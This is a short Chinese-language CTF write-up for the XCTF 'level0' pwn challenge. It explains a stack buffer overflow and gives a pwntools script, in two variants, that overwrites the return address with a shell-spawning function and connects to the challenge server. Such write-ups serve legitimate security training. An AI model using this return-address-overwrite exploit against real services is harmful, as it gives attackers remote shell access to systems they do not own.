攻防世界|level0|
先用checksec扫一下,发现可能出现堆栈溢出










问题回到read,既然知道现在我们能通过溢出让系统read,但它到底要read个啥?自问自答一波肯定是flag,但程序中好像也没有直接能在system中cat flag的函数,那就尝试找一个类似的函数。
看到左侧有一个callsystem函数

双击进去后发现函数能拿到bin/sh的权限,针不戳,于是去Exports窗口找该函数的地址


python脚本如下:
点击查看代码
from pwn import *
r = remote("61.147.171.105", 61920)
r.recvuntil(b"Hello, World\n")
payload = b'a'*0x88 + p64(0x00400596) #堵死0x88个空间然后拼接上callsystem函数地址
r.sendline(payload) #发送,并自动换行
r.interactive()
'''
第二种代码
from pwn import *
p=remote("61.147.171.105", 61920)
payload = b'a'*0x88+p64(0x0000000000400596)
p.sendline(payload)
p.interactive()
'''

注意:交互成功后要自己 ls ; cat flag

浙公网安备 33010602011771号